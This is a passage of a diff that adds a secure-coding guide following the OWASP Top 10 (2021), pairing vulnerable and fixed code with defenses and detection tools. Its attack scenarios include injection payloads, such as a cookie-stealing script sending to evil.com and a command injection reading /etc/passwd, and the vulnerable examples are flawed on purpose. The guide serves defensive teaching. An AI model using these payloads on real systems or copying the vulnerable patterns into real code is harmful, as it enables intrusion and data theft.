settingsService.update(settings);
|
|
148
|
+
return ResponseEntity.ok().build();
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
### Defense Strategies
|
|
154
|
+
|
|
155
|
+
1. **Deny by default** - except for public resources, deny access by default
|
|
156
|
+
2. **Implement access control mechanisms once and reuse** throughout the application, including minimizing CORS usage
|
|
157
|
+
3. **Model access controls should enforce record ownership** rather than accepting that the user can create, read, update, or delete any record
|
|
158
|
+
4. **Unique application business limit requirements should be enforced by domain models**
|
|
159
|
+
5. **Disable web server directory listing** and ensure file metadata (e.g., .git) and backup files are not present within web roots
|
|
160
|
+
6. **Log access control failures and alert admins** when appropriate (e.g., repeated failures)
|
|
161
|
+
7. **Rate-limit API and controller access** to minimize harm from automated attack tooling
|
|
162
|
+
8. **Stateless session tokens should be invalidated on the server** after logout; stateless JWT tokens should be short-lived
|
|
163
|
+
|
|
164
|
+
### Detection Tools
|
|
165
|
+
|
|
166
|
+
- **Burp Suite** - Automated access control testing with Authorize extension
|
|
167
|
+
- **OWASP ZAP** - Active scan rules for broken access control
|
|
168
|
+
- **Semgrep** - Static rules for missing auth decorators/annotations
|
|
169
|
+
- **SonarQube** - Detects missing authorization checks in code
|
|
170
|
+
- **Manual code review** - Review all endpoints for proper authorization logic
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## A02:2021 Cryptographic Failures
|
|
175
|
+
|
|
176
|
+
### Description
|
|
177
|
+
|
|
178
|
+
Previously known as "Sensitive Data Exposure," this category focuses on failures related to cryptography that often lead to exposure of sensitive data. Common issues include:
|
|
179
|
+
|
|
180
|
+
- Transmitting data in clear text (HTTP, SMTP, FTP)
|
|
181
|
+
- Using old or weak cryptographic algorithms or protocols
|
|
182
|
+
- Using default crypto keys, generating weak crypto keys, or lacking proper key management/rotation
|
|
183
|
+
- Not enforcing encryption via security headers or directives
|
|
184
|
+
- Insufficient certificate validation and trust chain verification
|
|
185
|
+
- Using deprecated hash functions like MD5 or SHA1 for password storage
|
|
186
|
+
- Using non-cryptographic random functions for cryptographic purposes
|
|
187
|
+
|
|
188
|
+
### Attack Scenarios
|
|
189
|
+
|
|
190
|
+
**Scenario 1: Weak Password Hashing**
|
|
191
|
+
An attacker gains access to the database and finds passwords hashed with MD5. Using rainbow tables, they recover plaintext passwords within minutes.
|
|
192
|
+
|
|
193
|
+
**Scenario 2: Missing Transport Encryption**
|
|
194
|
+
An application transmits credit card numbers over HTTP. An attacker on the same network captures the traffic via packet sniffing.
|
|
195
|
+
|
|
196
|
+
**Scenario 3: Hardcoded Encryption Keys**
|
|
197
|
+
Secret keys are committed to source control; an attacker reads the repository history and decrypts all stored data.
|
|
198
|
+
|
|
199
|
+
### Vulnerable Code Examples
|
|
200
|
+
|
|
201
|
+
**Python - Weak Hashing:**
|
|
202
|
+
```python
|
|
203
|
+
import hashlib
|
|
204
|
+
|
|
205
|
+
# VULNERABLE: MD5 is cryptographically broken for password hashing
|
|
206
|
+
def hash_password(password):
|
|
207
|
+
return hashlib.md5(password.encode()).hexdigest()
|
|
208
|
+
|
|
209
|
+
def verify_password(password, hashed):
|
|
210
|
+
return hashlib.md5(password.encode()).hexdigest() == hashed
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
**JavaScript - Hardcoded Secrets:**
|
|
214
|
+
```javascript
|
|
215
|
+
// VULNERABLE: Encryption key hardcoded in source code
|
|
216
|
+
const crypto = require('crypto');
|
|
217
|
+
const SECRET_KEY = 'my-super-secret-key-12345';
|
|
218
|
+
|
|
219
|
+
function encrypt(text) {
|
|
220
|
+
const cipher = crypto.createCipher('aes-128-ecb', SECRET_KEY); // ECB mode is weak
|
|
221
|
+
let encrypted = cipher.update(text, 'utf8', 'hex');
|
|
222
|
+
encrypted += cipher.final('hex');
|
|
223
|
+
return encrypted;
|
|
224
|
+
}
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
**Java - Weak Random Number Generation:**
|
|
228
|
+
```java
|
|
229
|
+
// VULNERABLE: java.util.Random is not cryptographically secure
|
|
230
|
+
import java.util.Random;
|
|
231
|
+
|
|
232
|
+
public class TokenGenerator {
|
|
233
|
+
public String generateToken() {
|
|
234
|
+
Random random = new Random();
|
|
235
|
+
StringBuilder token = new StringBuilder();
|
|
236
|
+
for (int i = 0; i < 32; i++) {
|
|
237
|
+
token.append(Integer.toHexString(random.nextInt(16)));
|
|
238
|
+
}
|
|
239
|
+
return token.toString();
|
|
240
|
+
}
|
|
241
|
+
}
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
### Fixed Code Examples
|
|
245
|
+
|
|
246
|
+
**Python - Secure Hashing with bcrypt:**
|
|
247
|
+
```python
|
|
248
|
+
import bcrypt
|
|
249
|
+
|
|
250
|
+
# FIXED: bcrypt with automatic salting and configurable work factor
|
|
251
|
+
def hash_password(password: str) -> str:
|
|
252
|
+
salt = bcrypt.gensalt(rounds=12)
|
|
253
|
+
return bcrypt.hashpw(password.encode('utf-8'), salt).decode('utf-8')
|
|
254
|
+
|
|
255
|
+
def verify_password(password: str, hashed: str) -> bool:
|
|
256
|
+
return bcrypt.checkpw(password.encode('utf-8'), hashed.encode('utf-8'))
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
**JavaScript - Proper Encryption with Key Management:**
|
|
260
|
+
```javascript
|
|
261
|
+
// FIXED: AES-256-GCM with environment-sourced key and random IV
|
|
262
|
+
const crypto = require('crypto');
|
|
263
|
+
|
|
264
|
+
const SECRET_KEY = Buffer.from(process.env.ENCRYPTION_KEY, 'hex'); // 32 bytes from env
|
|
265
|
+
|
|
266
|
+
function encrypt(text) {
|
|
267
|
+
const iv = crypto.randomBytes(16);
|
|
268
|
+
const cipher = crypto.createCipheriv('aes-256-gcm', SECRET_KEY, iv);
|
|
269
|
+
let encrypted = cipher.update(text, 'utf8', 'hex');
|
|
270
|
+
encrypted += cipher.final('hex');
|
|
271
|
+
const authTag = cipher.getAuthTag().toString('hex');
|
|
272
|
+
return `${iv.toString('hex')}:${authTag}:${encrypted}`;
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
function decrypt(encryptedText) {
|
|
276
|
+
const [ivHex, authTagHex, encrypted] = encryptedText.split(':');
|
|
277
|
+
const iv = Buffer.from(ivHex, 'hex');
|
|
278
|
+
const authTag = Buffer.from(authTagHex, 'hex');
|
|
279
|
+
const decipher = crypto.createDecipheriv('aes-256-gcm', SECRET_KEY, iv);
|
|
280
|
+
decipher.setAuthTag(authTag);
|
|
281
|
+
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
|
|
282
|
+
decrypted += decipher.final('utf8');
|
|
283
|
+
return decrypted;
|
|
284
|
+
}
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
**Java - Cryptographically Secure Random:**
|
|
288
|
+
```java
|
|
289
|
+
// FIXED: SecureRandom for cryptographic token generation
|
|
290
|
+
import java.security.SecureRandom;
|
|
291
|
+
import java.util.Base64;
|
|
292
|
+
|
|
293
|
+
public class TokenGenerator {
|
|
294
|
+
private static final SecureRandom secureRandom = new SecureRandom();
|
|
295
|
+
|
|
296
|
+
public String generateToken() {
|
|
297
|
+
byte[] tokenBytes = new byte[32];
|
|
298
|
+
secureRandom.nextBytes(tokenBytes);
|
|
299
|
+
return Base64.getUrlEncoder().withoutPadding().encodeToString(tokenBytes);
|
|
300
|
+
}
|
|
301
|
+
}
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
### Defense Strategies
|
|
305
|
+
|
|
306
|
+
1. **Classify data** processed, stored, or transmitted by the application. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs
|
|
307
|
+
2. **Don't store sensitive data unnecessarily.** Discard it as soon as possible or use PCI DSS-compliant tokenization
|
|
308
|
+
3. **Encrypt all sensitive data at rest** using strong algorithms (AES-256)
|
|
309
|
+
4. **Enforce encryption in transit** with TLS 1.2+. Use HTTP Strict Transport Security (HSTS)
|
|
310
|
+
5. **Use strong adaptive salted hashing functions** for passwords: bcrypt, scrypt, Argon2id
|
|
311
|
+
6. **Use authenticated encryption** (GCM mode) instead of plain encryption (ECB/CBC without HMAC)
|
|
312
|
+
7. **Generate keys using cryptographically secure pseudo-random number generators** (CSPRNG)
|
|
313
|
+
8. **Manage keys through a secrets manager** (AWS KMS, HashiCorp Vault, Azure Key Vault); implement key rotation
|
|
314
|
+
|
|
315
|
+
### Detection Tools
|
|
316
|
+
|
|
317
|
+
- **TruffleHog** - Scans git repositories for hardcoded secrets and keys
|
|
318
|
+
- **GitLeaks** - Detects secrets in git repos
|
|
319
|
+
- **SSLyze / testssl.sh** - Tests TLS configuration quality
|
|
320
|
+
- **Semgrep** - Rules for weak crypto algorithms and hardcoded secrets
|
|
321
|
+
- **SonarQube** - Identifies weak crypto usage in code
|
|
322
|
+
- **Mozilla Observatory** - Tests for HSTS and transport security headers
|
|
323
|
+
|
|
324
|
+
---
|
|
325
|
+
|
|
326
|
+
## A03:2021 Injection
|
|
327
|
+
|
|
328
|
+
### Description
|
|
329
|
+
|
|
330
|
+
Injection flaws occur when an application sends untrusted data to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. This category covers:
|
|
331
|
+
|
|
332
|
+
- **SQL Injection** - Manipulating SQL queries through user input
|
|
333
|
+
- **Cross-Site Scripting (XSS)** - Injecting malicious scripts into web pages
|
|
334
|
+
- **Command Injection** - Executing arbitrary OS commands
|
|
335
|
+
- **LDAP Injection** - Manipulating LDAP queries
|
|
336
|
+
- **NoSQL Injection** - Exploiting NoSQL query languages
|
|
337
|
+
- **Expression Language / Template Injection** - Server-side template injection (SSTI)
|
|
338
|
+
|
|
339
|
+
### Attack Scenarios
|
|
340
|
+
|
|
341
|
+
**Scenario 1: SQL Injection**
|
|
342
|
+
An attacker submits `' OR '1'='1' --` as the username, bypassing authentication and gaining access to the first account in the database.
|
|
343
|
+
|
|
344
|
+
**Scenario 2: Stored XSS**
|
|
345
|
+
An attacker posts a comment containing `<script>document.location='https://evil.com/steal?c='+document.cookie</script>`. Every user viewing the comment has their session cookie stolen.
|
|
346
|
+
|
|
347
|
+
**Scenario 3: Command Injection**
|
|
348
|
+
An application passes user input to a system command: `ping <user_input>`. The attacker submits `127.0.0.1; cat /etc/passwd` to read sensitive system files.
|
|
349
|
+
|
|
350
|
+
**Scenario 4: LDAP Injection**
|
|
351
|
+
An attacker submits `*)(uid=*))(|(uid=*` as a username in an LDAP authentication query, potentially bypassing authentication.
|
|
352
|
+
|
|
353
|
+
### Vulnerable Code Examples
|
|
354
|
+
|
|
355
|
+
**Python - SQL Injection:**
|
|
356
|
+
```python
|
|
357
|
+
# VULNERABLE: String concatenation in SQL query
|
|
358
|
+
@app.route('/api/users')
|
|
359
|
+
def search_users():
|
|
360
|
+
name = request.args.get('name')
|
|
361
|
+
query = f"SELECT * FROM users WHERE name = '{name}'"
|
|
362
|
+
result = db.engine.execute(query)
|
|
363
|
+
return jsonify([dict(row) for row in result])
|
|
364
|
+
```
|
|
365
|
+
|
|
366
|
+
**JavaScript - XSS (Reflected):**
|
|
367
|
+
```javascript
|
|
368
|
+
// VULNERABLE: User input directly rendered in HTML
|
|
369
|
+
app.get('/search', (req, res) => {
|
|
370
|
+
const query = req.query.q;
|
|
371
|
+
res.send(`<h1>Search Results for: ${query}</h1>`);
|
|
372
|
+
// Attacker: /search?q=<script>alert(document.cookie)</script>
|
|
373
|
+
});
|
|
374
|
+
```
|
|
375
|
+
|
|
376
|
+
**JavaScript - XSS (DOM-based):**
|
|
377
|
+
```javascript
|
|
378
|
+
// VULNERABLE: Unsafe DOM manipulation with user-controlled data
|
|
379
|
+
const params = new URLSearchParams(window.location.search);
|
|
380
|
+
const username = params.get('user');
|
|
381
|
+
document.getElementById('greeting').innerHTML = `Welcome, ${username}!`;
|
|
382
|
+
```
|
|
383
|
+
|
|
384
|
+
**Python - Command Injection:**
|
|
385
|
+
```python
|
|
386
|
+
import os
|
|
387
|
+
|
|
388
|
+
# VULNERABLE: User input passed directly to shell command
|
|
389
|
+
@app.route('/api/ping')
|
|
390
|
+
def ping_host():
|
|
391
|
+
host = request.args.get('host')
|
|
392
|
+
result = os.popen(f'ping -c 3 {host}').read()
|
|
393
|
+
return jsonify({"result": result})
|
|
394
|
+
```
|
|
395
|
+
|
|
396
|
+
**Java - SQL Injection:**
|
|
397
|
+
```java
|
|
398
|
+
// VULNERABLE: Concatenated SQL query
|
|
399
|
+
public User findUser(String username, String password) {
|
|
400
|
+
String query = "SELECT * FROM users WHERE username = '" + username
|
|
401
|
+
+ "' AND password = '" + password + "'";
|
|
402
|
+
Statement stmt = connection.createStatement();
|
|
403
|
+
ResultSet rs = stmt.executeQuery(query);
|
|
404
|
+
// ...
|
|
405
|
+
}
|
|
406
|
+
```
|
|
407
|
+
|
|
408
|
+
**Python - NoSQL Injection (MongoDB):**
|
|
409
|
+
```python
|
|
410
|
+
# VULNERABLE: Unsanitized input in MongoDB query
|
|
411
|
+
@app.route('/api/login', methods=['POST'])
|
|
412
|
+
def login():
|
|
413
|
+
data = request.get_json()
|
|
414
|
+
user = db.users.find_one({
|
|
415
|
+
"username": data['username'],
|
|
416
|
+
"password": data['password'] # Attacker sends {"$gt": ""} as password
|
|
417
|
+
})
|
|
418
|
+
if user:
|
|
419
|
+
return jsonify({"status": "logged in"})
|
|
420
|
+
```
|
|
421
|
+
|
|
422
|
+
### Fixed Code Examples
|
|
423
|
+
|
|
424
|
+
**Python - Parameterized SQL Query:**
|
|
425
|
+
```python
|
|
426
|
+
# FIXED: Parameterized query prevents SQL injection
|
|
427
|
+
@app.route('/api/users')
|
|
428
|
+
def search_users():
|
|
429
|
+
name = request.args.get('name')
|
|
430
|
+
result = db.engine.execute(
|
|
431
|
+
text("SELECT * FROM users WHERE name = :name"),
|
|
432
|
+
{"name": name}
|
|
433
|
+
)
|
|
434
|
+
return jsonify([dict(row) for row in result])
|
|
435
|
+
```
|
|
436
|
+
|
|
437
|
+
**Python - Using ORM (SQLAlchemy):**
|
|
438
|
+
```python
|
|
439
|
+
# FIXED: ORM automatically parameterizes queries
|
|
440
|
+
@app.route('/api/users')
|
|
441
|
+
def search_users():
|
|
442
|
+
name = request.args.get('name')
|
|
443
|
+
users = User.query.filter_by(name=name).all()
|
|
444
|
+
return jsonify([u.to_dict() for u in users])
|
|
445
|
+
```
|
|
446
|
+
|
|
447
|
+
**JavaScript - XSS Prevention:**
|
|
448
|
+
```javascript
|
|
449
|
+
// FIXED: HTML encoding of user input
|
|
450
|
+
const escapeHtml = require('escape-html');
|
|
451
|
+
|
|
452
|
+
app.get('/search', (req, res) => {
|
|
453
|
+
const query = escapeHtml(req.query.q);
|
|
454
|
+
res.send(`<h1>Search Results for: ${query}</h1>`);
|
|
455
|
+
});
|
|
456
|
+
|
|
457
|
+
// For React/Vue: frameworks escape by default, but avoid dangerouslySetInnerHTML
|
|
458
|
+
// React (safe by default):
|
|
459
|
+
function SearchResults({ query }) {
|
|
460
|
+
return <h1>Search Results for: {query}</h1>; // Auto-escaped
|
|
461
|
+
}
|
|
462
|
+
```
|
|
463
|
+
|
|
464
|
+
**JavaScript - DOM XSS Prevention:**
|
|
465
|
+
```javascript
|
|
466
|
+
// FIXED: Use textContent instead of innerHTML
|
|
467
|
+
const params = new URLSearchParams(window.location.search);
|
|
468
|
+
const username = params.get('user');
|
|
469
|
+
document.getElementById('greeting').textContent = `Welcome, ${username}!`;
|
|
470
|
+
```
|
|
471
|
+
|
|
472
|
+
**Python - Safe Command Execution:**
|
|
473
|
+
```python
|
|
474
|
+
import subprocess
|
|
475
|
+
import shlex
|
|
476
|
+
import ipaddress
|
|
477
|
+
|
|
478
|
+
# FIXED: Input validation + no shell=True + argument list
|
|
479
|
+
@app.route('/api/ping')
|
|
480
|
+
def ping_host():
|
|
481
|
+
host = request.args.get('host')
|
|
482
|
+
try:
|
|
483
|
+
ipaddress.ip_address(host) # Validate it's a real IP address
|
|
484
|
+
except ValueError:
|
|
485
|
+
return jsonify({"error": "Invalid IP address"}), 400
|
|
486
|
+
|
|
487
|
+
result = subprocess.run(
|
|
488
|
+
['ping', '-c', '3', host],
|
|
489
|
+
capture_output=True, text=True, timeout=10
|
|
490
|
+
)
|
|
491
|
+
return jsonify({"result": result.stdout})
|
|
492
|
+
```
|
|
493
|
+
|
|
494
|
+
**Java - Prepared Statement:**
|
|
495
|
+
```java
|
|
496
|
+
// FIXED: PreparedStatement with parameter binding
|
|
497
|
+
public User findUser(String username, String password) {
|
|
498
|
+
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
|
|
499
|
+
PreparedStatement stmt = connection.prepareStatement(query);
|
|
500
|
+
stmt.setString(1, username);
|
|
501
|
+
stmt.setString(2, password);
|
|
502
|
+
ResultSet rs = stmt.executeQuery();
|
|
503
|
+
// ...
|
|
504
|
+
}
|
|
505
|
+
```
|
|
506
|
+
|
|
507
|
+
**Python - NoSQL Injection Prevention:**
|
|
508
|
+
```python
|
|
509
|
+
# FIXED: Type validation and explicit string casting
|
|
510
|
+
@app.route('/api/login', methods=['POST'])
|
|
511
|
+
def login():
|
|
512
|
+
data = request.get_json()
|
|
513
|
+
username = str(data.get('username', ''))
|
|
514
|
+
password = str(data.get('password', ''))
|
|
515
|
+
|
|
516
|
+
if not username or not password:
|
|
517
|
+
return jsonify({"error": "Missing credentials"}), 400
|
|
518
|
+
|
|
519
|
+
user = db.users.find_one({
|
|
520
|
+
"username": username,
|
|
521
|
+
"password_hash": bcrypt.hashpw(password.encode(), stored_salt)
|
|
522
|
+
})
|
|
523
|
+
if user:
|
|
524
|
+
return jsonify({"status": "logged in"})
|
|
525
|
+
```
|
|
526
|
+
|
|
527
|
+
### Defense Strategies
|
|
528
|
+
|
|
529
|
+
1. **Use parameterized queries / prepared statements** for all database access
|
|
530
|
+
2. **Use ORM frameworks** (SQLAlchemy, Prisma, Hibernate) that handle parameterization automatically
|
|
531
|
+
3. **Validate and sanitize all input** - use allowlists over denylists
|
|
532
|
+
4. **Context-sensitive output encoding** for XSS prevention (HTML, JavaScript, URL, CSS contexts)
|
|
533
|
+
5. **Use Content Security Policy (CSP)** headers to mitigate XSS impact
|
|
534
|
+
6. **Avoid shell=True** in subprocess calls; pass arguments as lists
|
|
535
|
+
7. **Apply the principle of least privilege** to database accounts used by the application
|
|
536
|
+
8. **Use LIMIT and other SQL controls** to prevent mass disclosure in case of SQL injection
|
|
537
|
+
|
|
538
|
+
### Detection Tools
|
|
539
|
+
|
|
540
|
+
- **SQLMap** - Automated SQL injection detection and exploitation
|
|
541
|
+
- **OWASP ZAP** - Active and passive XSS/injection scanning
|
|
542
|
+
- **Bandit** - Python static analysis for command injection, SQL injection
|
|
543
|
+
- **ESLint security plugins** (eslint-plugin-security) - Detects unsafe patterns in JavaScript
|
|
544
|
+
- **Semgrep** - Language-aware rules for all injection types
|
|
545
|
+
- **SpotBugs + FindSecBugs** - Java static analysis for injection vulnerabilities
|
|
546
|
+
- **DOMPurify** (runtime) - Client-side HTML sanitization library
|
|
547
|
+
|
|
548
|
+
---
|
|
549
|
+
|
|
550
|
+
## A04:2021 Insecure Design
|
|
551
|
+
|
|
552
|
+
### Description
|
|
553
|
+
|
|
554
|
+
Insecure Design is a new category in the 2021 edition, focusing on risks related to design and architectural flaws. It calls for more use of threat modeling, secure design patterns, and reference architectures. Unlike implementation bugs, insecure design cannot be fixed by a perfect implementation -- the security controls were never created to defend against specific attacks.
|
|
555
|
+
|
|
556
|
+
Key areas include:
|
|
557
|
+
- Missing or ineffective rate limiting on sensitive operations
|
|
558
|
+
- Lack of tenant isolation in multi-tenant systems
|
|
559
|
+
- Missing business logic validation
|
|
560
|
+
- Insufficient abuse case testing
|
|
561
|
+
- No defense-in-depth strategy
|
|
562
|
+
|
|
563
|
+
### Attack Scenarios
|
|
564
|
+
|
|
565
|
+
**Scenario 1: Missing Rate Limiting on Password Reset**
|
|
566
|
+
An attacker brute-forces the 4-digit password reset code (10,000 combinations). The application has no rate limiting on the reset endpoint.
|
|
567
|
+
|
|
568
|
+
**Scenario 2: Business Logic Bypass**
|
|
569
|
+
An e-commerce site offers a $50 referral bonus. An attacker creates multiple fake accounts to exploit the referral system because no fraud detection was designed.
|
|
570
|
+
|
|
571
|
+
**Scenario 3: Missing Tenant Isolation**
|
|
572
|
+
A multi-tenant SaaS application stores all tenant data in the same table without proper row-level security. A bug in the query layer exposes one tenant's data to another.
|
|
573
|
+
|
|
574
|
+
### Vulnerable Code Examples
|
|
575
|
+
|
|
576
|
+
**Python - No Rate Limiting on Sensitive Endpoint:**
|
|
577
|
+
```python
|
|
578
|
+
# VULNERABLE: No rate limiting on password reset
|
|
579
|
+
@app.route('/api/password-reset/verify', methods=['POST'])
|
|
580
|
+
def verify_reset_code():
|
|
581
|
+
email = request.json['email']
|
|
582
|
+
code = request.json['code']
|
|
583
|
+
stored = ResetCode.query.filter_by(email=email, code=code).first()
|
|
584
|
+
if stored:
|
|
585
|
+
return jsonify({"token": generate_reset_token(email)})
|
|
586
|
+
return jsonify({"error": "Invalid code"}), 400
|
|
587
|
+
```
|
|
588
|
+
|
|
589
|
+
**JavaScript - No Business Logic Validation:**
|
|
590
|
+
```javascript
|
|
591
|
+
// VULNERABLE: No validation that price matches the actual product price
|
|
592
|
+
app.post('/api/checkout', authenticate, async (req, res) => {
|
|
593
|
+
const { productId, quantity, price } = req.body;
|
|
594
|
+
const order = await Order.create({
|
|
595
|
+
userId: req.user.id,
|
|
596
|
+
productId,
|
|
597
|
+
quantity,
|
|
598
|
+
totalPrice: price * quantity // Attacker controls price
|
|
599
|
+
});
|
|
600
|
+
res.json(order);
|
|
601
|
+
});
|
|
602
|
+
```
|
|
603
|
+
|
|
604
|
+
**Java - No Abuse Case Handling:**
|
|
605
|
+
```java
|
|
606
|
+
// VULNERABLE: No limit on coupon usage, no fraud detection
|
|
607
|
+
@PostMapping("/api/apply-coupon")
|
|
608
|
+
public ResponseEntity<?> applyCoupon(@RequestBody CouponRequest request) {
|
|
609
|
+
Coupon coupon = couponRepository.findByCode(request.getCode());
|
|
610
|
+
if (coupon != null && coupon.isValid()) {
|
|
611
|
+
return ResponseEntity.ok(new DiscountResponse(coupon.getDiscount()));
|
|
612
|
+
}
|
|
613
|
+
return ResponseEntity.badRequest().build();
|
|
614
|
+
}
|
|
615
|
+
```
|
|
616
|
+
|
|
617
|
+
### Fixed Code Examples
|
|
618
|
+
|
|
619
|
+
**Python - Rate-Limited Reset with Expiry:**
|
|
620
|
+
```python
|
|
621
|
+
from flask_limiter import Limiter
|
|
622
|
+
|
|
623
|
+
limiter = Limiter(app, key_func=get_remote_address)
|
|
624
|
+
|
|
625
|
+
# FIXED: Rate limiting + code expiry + attempt tracking
|
|
626
|
+
@app.route('/api/password-reset/verify', methods=['POST'])
|
|
627
|
+
@limiter.limit("5 per minute")
|
|
628
|
+
def verify_reset_code():
|
|
629
|
+
email = request.json['email']
|
|
630
|
+
code = request.json['code']
|
|
631
|
+
|
|
632
|
+
stored = ResetCode.query.filter_by(email=email).first()
|
|
633
|
+
if not stored:
|
|
634
|
+
return jsonify({"error": "Invalid code"}), 400
|
|
635
|
+
|
|
636
|
+
if stored.attempts >= 5:
|
|
637
|
+
db.session.delete(stored)
|
|
638
|
+
db.session.commit()
|
|
639
|
+
return jsonify({"error": "Too many attempts. Request a new code."}), 429
|
|
640
|
+
|
|
641
|
+
if stored.expires_at < datetime.utcnow():
|
|
642
|
+
db.session.delete(stored)
|
|
643
|
+
db.session.commit()
|
|
644
|
+
return jsonify({"error": "Code expired"}), 400
|
|
645
|
+
|
|
646
|
+
if stored.code != code:
|
|
647
|
+
stored.attempts += 1
|
|
648
|
+
db.session.commit()
|
|
649
|
+
return jsonify({"error": "Invalid code"}), 400
|
|
650
|
+
|
|
651
|
+
db.session.delete(stored)
|
|
652
|
+
db.session.commit()
|
|
653
|
+
return jsonify({"token": generate_reset_token(email)})
|
|
654
|
+
```
|
|
655
|
+
|
|
656
|
+
**JavaScript - Server-Side Price Validation:**
|
|
657
|
+
```javascript
|
|
658
|
+
// FIXED: Server-side price validation from database
|
|
659
|
+
app.post('/api/checkout', authenticate, async (req, res) => {
|
|
660
|
+
const { productId, quantity } = req.body;
|
|
661
|
+
|
|
662
|
+
const product = await Product.findById(productId);
|
|
663
|
+
if (!product || !product.inStock || quantity > product.maxPerOrder) {
|
|
664
|
+
return res.status(400).json({ error: 'Invalid product or quantity' });
|
|
665
|
+
}
|
|
666
|
+
|
|
667
|
+
const totalPrice = product.price * quantity;
|
|
668
|
+
const order = await Order.create({
|
|
669
|
+
userId: req.user.id,
|
|
670
|
+
productId,
|
|
671
|
+
quantity,
|
|
672
|
+
totalPrice // Price always from server-side source of truth
|
|
673
|
+
});
|
|
674
|
+
res.json(order);
|
|
675
|
+
});
|
|
676
|
+
```
|
|
677
|
+
|
|
678
|
+
**Java - Coupon with Abuse Controls:**
|
|
679
|
+
```java
|
|
680
|
+
// FIXED: Usage limits, user tracking, and fraud detection
|
|
681
|
+
@PostMapping("/api/apply-coupon")
|
|
682
|
+
public ResponseEntity<?> applyCoupon(@RequestBody CouponRequest request,
|
|
683
|
+
@AuthenticationPrincipal UserDetails user) {
|
|
684
|
+
Coupon coupon = couponRepository.findByCode(request.getCode());
|
|
685
|
+
if (coupon == null || !coupon.isValid()) {
|
|
686
|
+
return ResponseEntity.badRequest().body("Invalid coupon");
|
|
687
|
+
}
|
|
688
|
+
|
|
689
|
+
long userUsageCount = couponUsageRepository.countByUserIdAndCouponId(
|
|
690
|
+
user.getId(), coupon.getId());
|
|
691
|
+
if (userUsageCount >= coupon.getMaxUsagePerUser()) {
|
|
692
|
+
return ResponseEntity.badRequest().body("Coupon already used");
|
|
693
|
+
}
|
|
694
|
+
|
|
695
|
+
if (coupon.getTotalUsageCount() >= coupon.getMaxTotalUsage()) {
|
|
696
|
+
return ResponseEntity.badRequest().body("Coupon expired");
|
|
697
|
+
}
|
|
698
|
+
|
|
699
|
+
couponUsageRepository.save(new CouponUsage(user.getId(), coupon.getId()));
|
|
700
|
+
coupon.incrementUsageCount();
|
|
701
|
+
couponRepository.save(coupon);
|
|
702
|
+
|
|
703
|
+
return ResponseEntity.ok(new DiscountResponse(coupon.getDiscount()));
|
|
704
|
+
}
|
|
705
|
+
```
|
|
706
|
+
|
|
707
|
+
### Defense Strategies
|
|
708
|
+
|
|
709
|
+
1. **Establish and use a secure development lifecycle** with AppSec professionals to evaluate and design security and privacy-related controls
|
|
710
|
+
2. **Use threat modeling** for critical authentication, access control, business logic, and key flows
|
|
711
|
+
3. **Integrate security language and controls into user stories** (e.g., "As a user, I cannot reset another user's password")
|
|
712
|
+
4. **Write unit and integration tests to validate** that all critical flows are resistant to the threat model
|
|
713
|
+
5. **Segregate tier layers** on the system and network layers depending on exposure and protection needs
|
|
714
|
+
6. **Limit resource consumption** by user or service (rate limiting, throttling, quotas)
|
|
715
|
+
7. **Design for tenant isolation** in multi-tenant architectures from day one
|
|
716
|
+
|
|
717
|
+
### Detection Tools
|
|
718
|
+
|
|
719
|
+
- **Threat Dragon (OWASP)** - Threat modeling tool
|
|
720
|
+
- **Microsoft Threat Modeling Tool** - Automated threat modeling
|
|
721
|
+
- **Architectural review** - Manual review of security design patterns
|
|
722
|
+
- **Business logic test cases** - Abuse case testing in integration tests
|
|
723
|
+
- **OWASP ASVS** - Application Security Verification Standard for design review
|
|
724
|
+
|
|
725
|
+
---
|
|
726
|
+
|
|
727
|
+
## A05:2021 Security Misconfiguration
|
|
728
|
+
|
|
729
|
+
### Description
|
|
730
|
+
|
|
731
|
+
Security Misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, unnecessary HTTP methods, permissive CORS, and verbose error messages containing sensitive information.
|
|
732
|
+
|
|
733
|
+
Common misconfiguration issues:
|
|
734
|
+
- Unnecessary features enabled or installed (ports, services, pages, accounts, privileges)
|
|
735
|
+
- Default accounts and passwords still enabled and unchanged
|
|
736
|
+
- Error handling reveals stack traces or overly informative error messages to users
|
|
737
|
+
- Latest security features disabled or not configured securely
|
|
738
|
+
- Missing security hardening headers
|
|
739
|
+
- Software is out of date or vulnerable
|
|
740
|
+
|
|
741
|
+
### Attack Scenarios
|
|
742
|
+
|
|
743
|
+
**Scenario 1: Debug Mode in Production**
|
|
744
|
+
A Django application is deployed with `DEBUG = True`. An attacker triggers an error and receives detailed stack traces, environment variables, and database credentials.
|
|
745
|
+
|
|
746
|
+
**Scenario 2: Default Credentials**
|
|
747
|
+
An admin panel at `/admin` uses the default username `admin` and password `admin`. An attacker gains full administrative access.
|
|
748
|
+
|
|
749
|
+
**Scenario 3: Overly Permissive CORS**
|
|
750
|
+
An API sets `Access-Control-Allow-Origin: *` with `Access-Control-Allow-Credentials: true`, allowing any website to make authenticated requests on behalf of users.
|
|
751
|
+
|
|
752
|
+
### Vulnerable Code Examples
|
|
753
|
+
|
|
754
|
+
**Python (Django) - Debug and Error Disclosure:**
|
|
755
|
+
```python
|
|
756
|
+
# VULNERABLE: settings.py for production
|
|
757
|
+
DEBUG = True # Exposes detailed error pages
|
|
758
|
+
ALLOWED_HOSTS = ['*'] # Accepts any host header
|
|
759
|
+
SECRET_KEY = 'django-insecure-!@#$%^&*()' # Default/weak secret key
|
|
760
|
+
|
|
761
|
+
# Missing security middleware
|
|
762
|
+
MIDDLEWARE = [
|
|
763
|
+
'django.middleware.common.CommonMiddleware',
|
|
764
|
+
# Missing: SecurityMiddleware, CsrfViewMiddleware, XFrameOptionsMiddleware
|
|
765
|
+
]
|
|
766
|
+
```
|
|
